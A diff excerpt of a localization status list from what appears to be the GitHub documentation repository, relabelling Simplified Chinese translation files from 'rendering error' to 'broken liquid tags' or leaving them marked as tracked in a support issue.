-translations/zh-CN/content/actions/deployment/deploying-xcode-applications/installing-an-apple-certificate-on-macos-runners-for-xcode-development.md,rendering error
-translations/zh-CN/content/actions/deployment/index.md,rendering error
-translations/zh-CN/content/actions/deployment/managing-your-deployments/index.md,rendering error
-translations/zh-CN/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md,rendering error
-translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md,rendering error
-translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md,rendering error
-translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md,rendering error
-translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/index.md,rendering error
-translations/zh-CN/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md,rendering error
-translations/zh-CN/content/actions/deployment/targeting-different-environments/using-environments-for-deployment.md,rendering error
-translations/zh-CN/content/actions/guides.md,rendering error
-translations/zh-CN/content/actions/hosting-your-own-runners/about-self-hosted-runners.md,rendering error
+translations/zh-CN/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md,broken liquid tags
+translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md,broken liquid tags
+translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/viewing-contributions-on-your-profile.md,broken liquid tags
+translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/about-your-personal-dashboard.md,broken liquid tags
+translations/zh-CN/content/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-the-default-branch-name-for-your-repositories.md,broken liquid tags
+translations/zh-CN/content/actions/advanced-guides/storing-workflow-data-as-artifacts.md,broken liquid tags
+translations/zh-CN/content/actions/hosting-your-own-runners/about-self-hosted-runners.md,broken liquid tags
 translations/zh-CN/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md,Listed in localization-support#489
-translations/zh-CN/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md,rendering error
-translations/zh-CN/content/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners.md,rendering error
-translations/zh-CN/content/actions/hosting-your-own-runners/configuring-the-self-hosted-runner-application-as-a-service.md,rendering error
-translations/zh-CN/content/actions/hosting-your-own-runners/index.md,rendering error
-translations/zh-CN/content/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups.md,rendering error
+translations/zh-CN/content/actions/hosting-your-own-runners/adding-self-hosted-runners.md,broken liquid tags
 translations/zh-CN/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,Listed in localization-support#489
-translations/zh-CN/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,rendering error
-translations/zh-CN/content/actions/hosting-your-own-runners/removing-self-hosted-runners.md,rendering error
-translations/zh-CN/content/actions/hosting-your-own-runners/using-a-proxy-server-with-self-hosted-runners.md,rendering error
-translations/zh-CN/content/actions/hosting-your-own-runners/using-labels-with-self-hosted-runners.md,rendering error
-translations/zh-CN/content/actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow.md,rendering error
-translations/zh-CN/content/actions/index.md,rendering error
-translations/zh-CN/content/actions/learn-github-actions/contexts.md,rendering error
-translations/zh-CN/content/actions/learn-github-actions/creating-workflow-templates.md,rendering error
-translations/zh-CN/content/actions/learn-github-actions/environment-variables.md,rendering error
-translations/zh-CN/content/actions/learn-github-actions/essential-features-of-github-actions.md,rendering error
-translations/zh-CN/content/actions/learn-github-actions/events-that-trigger-workflows.md,rendering error
-translations/zh-CN/content/actions/learn-github-actions/expressions.md,rendering error
-translations/zh-CN/content/actions/learn-github-actions/finding-and-customizing-actions.md,rendering error
-translations/zh-CN/content/actions/learn-github-actions/index.md,rendering error
-translations/zh-CN/content/actions/learn-github-actions/managing-complex-workflows.md,rendering error
-translations/zh-CN/content/actions/learn-github-actions/reusing-workflows.md,rendering error
-translations/zh-CN/content/actions/learn-github-actions/sharing-workflows-secrets-and-runners-with-your-organization.md,rendering error
-translations/zh-CN/content/actions/learn-github-actions/understanding-github-actions.md,rendering error
-translations/zh-CN/content/actions/learn-github-actions/usage-limits-billing-and-administration.md,rendering error
-translations/zh-CN/content/actions/learn-github-actions/using-workflow-templates.md,rendering error
-translations/zh-CN/content/actions/learn-github-actions/workflow-commands-for-github-actions.md,rendering error
-translations/zh-CN/content/actions/learn-github-actions/workflow-syntax-for-github-actions.md,rendering error
-translations/zh-CN/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md,rendering error
-translations/zh-CN/content/actions/managing-issues-and-pull-requests/closing-inactive-issues.md,rendering error
-translations/zh-CN/content/actions/managing-issues-and-pull-requests/commenting-on-an-issue-when-a-label-is-added.md,rendering error
-translations/zh-CN/content/actions/managing-issues-and-pull-requests/moving-assigned-issues-on-project-boards.md,rendering error
-translations/zh-CN/content/actions/managing-issues-and-pull-requests/removing-a-label-when-a-card-is-added-to-a-project-board-column.md,rendering error
-translations/zh-CN/content/actions/managing-issues-and-pull-requests/scheduling-issue-creation.md,rendering error
-translations/zh-CN/content/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management.md,rendering error
-translations/zh-CN/content/actions/managing-workflow-runs/canceling-a-workflow.md,rendering error
-translations/zh-CN/content/actions/managing-workflow-runs/deleting-a-workflow-run.md,rendering error
-translations/zh-CN/content/actions/managing-workflow-runs/disabling-and-enabling-a-workflow.md,rendering error
-translations/zh-CN/content/actions/managing-workflow-runs/downloading-workflow-artifacts.md,rendering error
-translations/zh-CN/content/actions/managing-workflow-runs/index.md,rendering error
-translations/zh-CN/content/actions/managing-workflow-runs/manually-running-a-workflow.md,rendering error
-translations/zh-CN/content/actions/managing-workflow-runs/re-running-workflows-and-jobs.md,rendering error
-translations/zh-CN/content/actions/managing-workflow-runs/removing-workflow-artifacts.md,rendering error
+translations/zh-CN/content/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners.md,broken liquid tags
+translations/zh-CN/content/actions/managing-workflow-runs/removing-workflow-artifacts.md,broken liquid tags
 translations/zh-CN/content/actions/managing-workflow-runs/reviewing-deployments.md,Listed in localization-support#489
-translations/zh-CN/content/actions/managing-workflow-runs/reviewing-deployments.md,rendering error
-translations/zh-CN/content/actions/managing-workflow-runs/skipping-workflow-runs.md,rendering error
-translations/zh-CN/content/actions/migrating-to-github-actions/index.md,rendering error
-translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-azure-pipelines-to-github-actions.md,rendering error
-translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-circleci-to-github-actions.md,rendering error
-translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-gitlab-cicd-to-github-actions.md,rendering error
-translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-jenkins-to-github-actions.md,rendering error
-translations/zh-CN/content/actions/migrating-to-github-actions/migrating-from-travis-ci-to-github-actions.md,rendering error
-translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md,rendering error
-translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md,rendering error
-translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md,rendering error
-translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/index.md,rendering error
-translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md,rendering error
-translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md,rendering error
-translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md,rendering error
-translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time.md,rendering error
-translations/zh-CN/content/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history.md,rendering error
-translations/zh-CN/content/actions/publishing-packages/about-packaging-with-github-actions.md,rendering error
-translations/zh-CN/content/actions/publishing-packages/index.md,rendering error
-translations/zh-CN/content/actions/publishing-packages/publishing-docker-images.md,rendering error
-translations/zh-CN/content/actions/publishing-packages/publishing-java-packages-with-gradle.md,rendering error
-translations/zh-CN/content/actions/publishing-packages/publishing-java-packages-with-maven.md,rendering error
-translations/zh-CN/content/actions/publishing-packages/publishing-nodejs-packages.md,rendering error
-translations/zh-CN/content/actions/quickstart.md,rendering error
-translations/zh-CN/content/actions/security-guides/automatic-token-authentication.md,rendering error
-translations/zh-CN/content/actions/security-guides/encrypted-secrets.md,rendering error
-translations/zh-CN/content/actions/security-guides/security-hardening-for-github-actions.md,rendering error
-translations/zh-CN/content/actions/using-containerized-services/about-service-containers.md,rendering error
-translations/zh-CN/content/actions/using-containerized-services/creating-postgresql-service-containers.md,rendering error
-translations/zh-CN/content/actions/using-containerized-services/creating-redis-service-containers.md,rendering error
-translations/zh-CN/content/actions/using-github-hosted-runners/about-github-hosted-runners.md,rendering error
-translations/zh-CN/content/actions/using-github-hosted-runners/customizing-github-hosted-runners.md,rendering error
-translations/zh-CN/content/actions/using-github-hosted-runners/index.md,rendering error
-translations/zh-CN/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md,rendering error
-translations/zh-CN/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md,rendering error
-translations/zh-CN/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/advanced-security/index.md,rendering error
-translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md,rendering error
-translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/disabling-unauthenticated-sign-ups.md,rendering error
-translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/index.md,rendering error
-translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-cas.md,rendering error
-translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-ldap.md,rendering error
-translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md,rendering error
-translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad.md,rendering error
-translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md,rendering error
-translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md,rendering error
-translations/zh-CN/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md,rendering error
-translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/index.md,rendering error
-translations/zh-CN/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-tls.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-network-settings/index.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-network-settings/network-ports.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-network-settings/using-github-enterprise-server-with-a-load-balancer.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-custom-footers.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-time-synchronization.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-private-mode.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-your-enterprise/index.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md,rendering error
-translations/zh-CN/content/admin/configuration/configuring-your-enterprise/troubleshooting-ssl-errors.md,rendering error
-translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md,rendering error
-translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account.md,rendering error
-translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md,rendering error
-translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md,rendering error
-translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md,rendering error
-translations/zh-CN/content/admin/enterprise-management/configuring-clustering/about-clustering.md,rendering error
-translations/zh-CN/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md,rendering error
-translations/zh-CN/content/admin/enterprise-management/configuring-clustering/index.md,rendering error
-translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md,rendering error
-translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md,rendering error
-translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/index.md,rendering error
-translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md,rendering error
-translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/index.md,rendering error
-translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md,rendering error
-translations/zh-CN/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md,rendering error
-translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md,rendering error
-translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-storage-capacity.md,rendering error
-translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/index.md,rendering error
-translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/migrating-from-github-enterprise-1110x-to-2123.md,rendering error
-translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md,rendering error
-translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md,rendering error
-translations/zh-CN/content/admin/enterprise-support/overview/about-github-enterprise-support.md,rendering error
-translations/zh-CN/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md,rendering error
-translations/zh-CN/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise.md,rendering error
-translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/index.md,rendering error
-translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md,rendering error
-translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md,rendering error
-translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket.md,rendering error
-translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md,rendering error
-translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md,rendering error
-translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md,rendering error
-translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md,rendering error
-translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md,rendering error
-translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md,rendering error
-translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md,rendering error
-translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md,rendering error
-translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md,rendering error
-translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md,rendering error
-translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md,rendering error
-translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md,rendering error
-translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md,rendering error
-translations/zh-CN/content/admin/github-actions/index.md,rendering error
-translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md,rendering error
-translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/index.md,rendering error
-translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md,rendering error
-translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md,rendering error
-translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md,rendering error
-translations/zh-CN/content/admin/github-actions/using-github-actions-in-github-ae/index.md,rendering error
-translations/zh-CN/content/admin/github-actions/using-github-actions-in-github-ae/using-actions-in-github-ae.md,rendering error
-translations/zh-CN/content/admin/guides.md,rendering error
-translations/zh-CN/content/admin/index.md,rendering error
-translations/zh-CN/content/admin/installation/index.md,rendering error
-translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/index.md,rendering error
-translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md,rendering error
-translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-azure.md,rendering error
-translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-google-cloud-platform.md,rendering error
-translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-hyper-v.md,rendering error
-translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-openstack-kvm.md,rendering error
-translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-vmware.md,rendering error
-translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-xenserver.md,rendering error
+translations/zh-CN/content/actions/using-github-hosted-runners/about-github-hosted-runners.md,broken liquid tags
+translations/zh-CN/content/admin/advanced-security/configuring-code-scanning-for-your-appliance.md,broken liquid tags
+translations/zh-CN/content/admin/advanced-security/configuring-secret-scanning-for-your-appliance.md,broken liquid tags
+translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/allowing-built-in-authentication-for-users-outside-your-identity-provider.md,broken liquid tags
+translations/zh-CN/content/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml.md,broken liquid tags
+translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md,broken liquid tags
+translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-user-provisioning-for-your-enterprise.md,broken liquid tags
+translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/index.md,broken liquid tags
+translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md,broken liquid tags
+translations/zh-CN/content/admin/configuration/configuring-your-enterprise/accessing-the-management-console.md,broken liquid tags
+translations/zh-CN/content/admin/configuration/configuring-your-enterprise/command-line-utilities.md,broken liquid tags
+translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance.md,broken liquid tags
+translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications.md,broken liquid tags
+translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-rate-limits.md,broken liquid tags
+translations/zh-CN/content/admin/configuration/configuring-your-enterprise/managing-github-mobile-for-your-enterprise.md,broken liquid tags
+translations/zh-CN/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md,broken liquid tags
+translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md,broken liquid tags
+translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-contributions-between-your-enterprise-account-and-githubcom.md,broken liquid tags
+translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-unified-search-between-your-enterprise-account-and-githubcom.md,broken liquid tags
+translations/zh-CN/content/admin/configuration/managing-connections-between-your-enterprise-accounts/index.md,broken liquid tags
+translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md,broken liquid tags
+translations/zh-CN/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md,broken liquid tags
+translations/zh-CN/content/admin/enterprise-support/overview/about-github-enterprise-support.md,broken liquid tags
+translations/zh-CN/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise-server.md,broken liquid tags
+translations/zh-CN/content/admin/enterprise-support/overview/about-github-premium-support-for-github-enterprise.md,broken liquid tags
+translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/providing-data-to-github-support.md,broken liquid tags
+translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/reaching-github-support.md,broken liquid tags
+translations/zh-CN/content/admin/enterprise-support/receiving-help-from-github-support/submitting-a-ticket.md,broken liquid tags
+translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/backing-up-and-restoring-github-enterprise-server-with-github-actions-enabled.md,broken liquid tags
+translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/index.md,broken liquid tags
+translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/troubleshooting-github-actions-for-your-enterprise.md,broken liquid tags
+translations/zh-CN/content/admin/github-actions/advanced-configuration-and-troubleshooting/using-a-staging-environment.md,broken liquid tags
+translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-amazon-s3-storage.md,broken liquid tags
+translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-azure-blob-storage.md,broken liquid tags
+translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md,broken liquid tags
+translations/zh-CN/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/index.md,broken liquid tags
+translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md,broken liquid tags
+translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md,broken liquid tags
+translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md,broken liquid tags
+translations/zh-CN/content/admin/github-actions/index.md,broken liquid tags
+translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md,broken liquid tags
+translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md,broken liquid tags
+translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/manually-syncing-actions-from-githubcom.md,broken liquid tags
+translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access.md,broken liquid tags
+translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md,broken liquid tags
+translations/zh-CN/content/admin/github-actions/using-github-actions-in-github-ae/index.md,broken liquid tags
+translations/zh-CN/content/admin/index.md,broken liquid tags
+translations/zh-CN/content/admin/installation/setting-up-a-github-enterprise-server-instance/installing-github-enterprise-server-on-aws.md,broken liquid tags
 translations/zh-CN/content/admin/overview/about-enterprise-accounts.md,Listed in localization-support#489
-translations/zh-CN/content/admin/overview/about-enterprise-accounts.md,rendering error
-translations/zh-CN/content/admin/overview/about-github-ae.md,rendering error
-translations/zh-CN/content/admin/overview/about-the-github-enterprise-api.md,rendering error
-translations/zh-CN/content/admin/overview/about-upgrades-to-new-releases.md,rendering error
-translations/zh-CN/content/admin/packages/enabling-github-packages-with-aws.md,rendering error
-translations/zh-CN/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md,rendering error
-translations/zh-CN/content/admin/packages/enabling-github-packages-with-minio.md,rendering error
-translations/zh-CN/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages.md,rendering error
-translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-advanced-security-in-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-dependency-insights-in-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-project-board-policies-in-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/policies/enforcing-policies-for-your-enterprise/enforcing-team-policies-in-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/creating-a-pre-receive-hook-script.md,rendering error
-translations/zh-CN/content/admin/policies/enforcing-policy-with-pre-receive-hooks/managing-pre-receive-hooks-on-the-github-enterprise-server-appliance.md,rendering error
-translations/zh-CN/content/admin/user-management/index.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/adding-people-to-teams.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/creating-teams.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/index.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/managing-projects-using-jira.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/preventing-users-from-creating-organizations.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/removing-organizations-from-your-enterprise.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account.md,rendering error
-translations/zh-CN/content/admin/user-management/managing-organizations-in-your-enterprise/viewing-the-audit-logs-for-organizations-in-your-enterprise.md,rendering error
